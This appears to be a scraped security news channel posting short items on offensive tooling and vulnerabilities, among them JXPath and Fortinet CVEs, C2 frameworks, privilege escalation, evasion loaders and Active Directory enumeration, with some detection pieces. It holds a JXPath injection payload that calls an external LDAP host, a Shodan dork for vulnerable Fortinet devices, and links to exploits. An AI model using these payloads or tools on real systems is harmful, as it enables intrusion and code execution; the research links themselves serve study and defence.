APT

Phishing campaigns Сделал github репозиторий, в котором представлены разборы/отчёты об фишинговых кампаниях APT группировок, которые содержат пример писем, с помощью которого осуществлялась рассылка. Зачастую разборы атак APT группировок не содержат примеры писем, это побудило меня создать репозиторий в котором будут отчёты/разборы, которые точно содержат фишинговое письмо. Постепенно данный список будет пополняться Link: https://github.com/wddadk/Phishing-campaigns #apt #git #phishing

🌀 Unique Subdomain Enumeration Great research regarding subdomain enumeration through permutations, unique approach that can provide good results with a smaller initial bruteforce data set in comparison to altdns Research: https://cramppet.github.io/regulator/index.html Tools: https://github.com/cramppet/regulator #subdomain #enumeration #permutation #tools

⚙️ Apache Commons Jxpath (CVE-2022-41852) This vulnerability affects Java library called Apache Commons JXPath, which is used for processing XPath syntax. All versions (including latest version) are affected by this vulnerability. If your application uses JXPath library, you might be vulnerable. According to CVE information, all methods for XPath processing are vulnerable, except for except compile() and compilePath(). If user can provide value for the XPath expression, it might allow him to execute code on your application server. Payload: jxPathContext.getValue("javax.naming.InitialContext.doLookup(\"ldap://check.dnslog.cn/obj\")"); PoC: https://github.com/Warxim/CVE-2022-41852 Research: https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/ #apache #commons #jxpath #cve #exploit

😈 [ dafthack, Beau Bullock ] Finding cleartext creds in AD user attributes is something that happens more than most might think. Great demo John! Here's a 1-liner to find these while leveraging PowerView: https://t.co/ZItkN8BjZ9 And here's one for Azure AD: https://t.co/IcCHRYPrE5 🔗 https://gist.github.com/dafthack/5f8c36f7468fad991e9e1f6d81ec29d4 🐥 [ tweet ][ quote ]

🔑 YubiKeys Relaying Attack That is, the APDU packets that the server application wants to get signed by a private key to verify the identity of the authentication. This attack works on all PIV Smart Cards. Research: Relaying YubiKeys Part 1 Relaying YubiKeys Part 2 Tools: https://github.com/cube0x0/YubiKey-Relay #ad #2fa #fido2 #ybikeys

📄 Detecting ADCS Web Services Abuse (ESC8) One of the popular attack vectors against Active Directory Certificate Services is ESC8. This article covers detecting irregular access to some ADCS web services exposed, as well as detecting the NTLM relaying itself. https://medium.com/falconforce/falconfriday-detecting-adcs-web-services-abuse-0xff20-9f660c83cb36 #adcs #detection #esc8 #blueteam

⌛ Attacking Predictable GUID Few penetration testers and bug bounty hunters are aware of the different versions of GUIDs and the security issues associated with using the wrong one. In this blog post walk through an account takeover issue from a recent penetration test where GUIDs were used as password reset tokens. https://www.intruder.io/research/in-guid-we-trust #web #pentest #guid #account #takeover

😈 Fortinet RCE (CVE-2022-40684) Fortinet recently patched a critical authentication bypass vulnerability in their FortiOS, FortiProxy, and FortiSwitchManager projects (CVE-2022-40684). This vulnerability gives an attacker the ability to login as an administrator on the affected system. Shodan Dork: product:"Fortinet FortiGate" Research: https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/ PoC: https://github.com/NagliNagli/BountyTricks/blob/main/CVE-2022-40684.yaml Exploit: https://github.com/horizon3ai/CVE-2022-40684 Detection for SOC: https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/ #fortinet #rce #research #poc #exploit

😈 [ pdiscoveryio, ProjectDiscovery.io ] The Ultimate Guide to Finding Bugs With Nuclei by @v3natoris https://t.co/2GY3QZlTft #hackwithautomation #cybersecurity #infosec #bugbounty 🔗 https://blog.projectdiscovery.io/ultimate-nuclei-guide/ 🐥 [ tweet ]

Havoc is a modern and malleable post-exploitation command and control framework Features: Client - Modern, dark theme based on Dracula Teamserver - Multiplayer - Payload generation (exe/shellcode/dll) - HTTP/HTTPS listeners - Customizable C2 profiles - External C2 Demon - Sleep Obfuscation via Ekko or FOLIAGE - x64 return address spoofing - Indirect Syscalls for Nt* APIs - SMB support - Token vault - Variety of built-in post-exploitation commands

📞 Persistence on Skype for Business This article provides a tool for Red Teams helping to achieve persistence on the latest patched version of Skype for Business 2019 server using a new method. https://frycos.github.io/vulns4free/2022/09/22/skype-audit-part1.html #ad #skype #persistence #redteam

Just another Windows Local Privilege Escalation from Service Account to System. Full details at https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/ POC: https://github.com/antonioCoco/JuicyPotatoNG

🎲 Fileless Remote PE Loading Fileless Remote PE from URI to memory with argument passing and ETW patching and NTDLL unhooking and No New Thread technique https://github.com/D1rkMtr/FilelessRemotePE #maldev #evasion #fileless #pe

🤤 LDAP Nom Nom Stuck on a network with no credentials? No worry, you can anonymously bruteforce Active Directory controllers for usernames over LDAP Pings (cLDAP) using new tool - with parallelization you'll get 10K usernames/sec. No Windows audit logs generated. Features: — Tries to autodetect DC from environment variables on domain joined machines or falls back to machine hostname FDQN DNS suffix — Reads usernames to test from stdin (default) or file — Outputs to stdout (default) or file — Parallelized (defaults to 8 connections) — Shows progressbar if you're using both input and output files https://github.com/lkarlslund/ldapnomnom #ad #ldap #userenum #tools

#meme

Azure Threat Research Matrix The purpose of the Azure Threat Research Matrix is to conceptualize the known TTP that adversaries may use against Azure https://microsoft.github.io/Azure-Threat-Research-Matrix/ #azure #ttp #blueteam

🦊 CloudFox Security firm BishopFox has open-sourced on Tuesday a new security tool named CloudFox that can find exploitable attack paths in cloud infrastructure. Blog: https://bishopfox.com/blog/introducing-cloudfox Tool: https://github.com/BishopFox/cloudfox #cloud #aws #pentest #tools

⚔️ Microsoft Teams C2 — Covert Attack Chain Utilizing GIFShell Seven different insecure design elements/vulnerabilities present in Microsoft Teams, can be leveraged by an attacker, to execute a reverse shell between an attacker and victim, where no communication is directly exchanged between an attacker and a victim, but is entirely piped through malicious GIFs sent in Teams messages, and Out of Bounds (OOB) lookups of GIFs conducted by Microsoft’s own servers. This unique C2 infrastructure can be leveraged by sophisticated threat actors to avoid detection by EDR and other network monitoring tools. Particularly in secure network environments, where Microsoft Teams might be one of a handful of allowed, trusted hosts and programs, this attack chain can be particularly devastating. https://medium.com/@bobbyrsec/gifshell-covert-attack-chain-and-c2-utilizing-microsoft-teams-gifs-1618c4e64ed7 #c2 #teams #gifshell #edr #redteam

🔎 GEOINT Protip Landmark identification and pinpointing locations where an image or video was taken is a very good skill when investigating current and past events. — geohints.com — landmark.toolpie.com — brueckenweb.de/2content/suchen/suche.php #geoint #osint #tips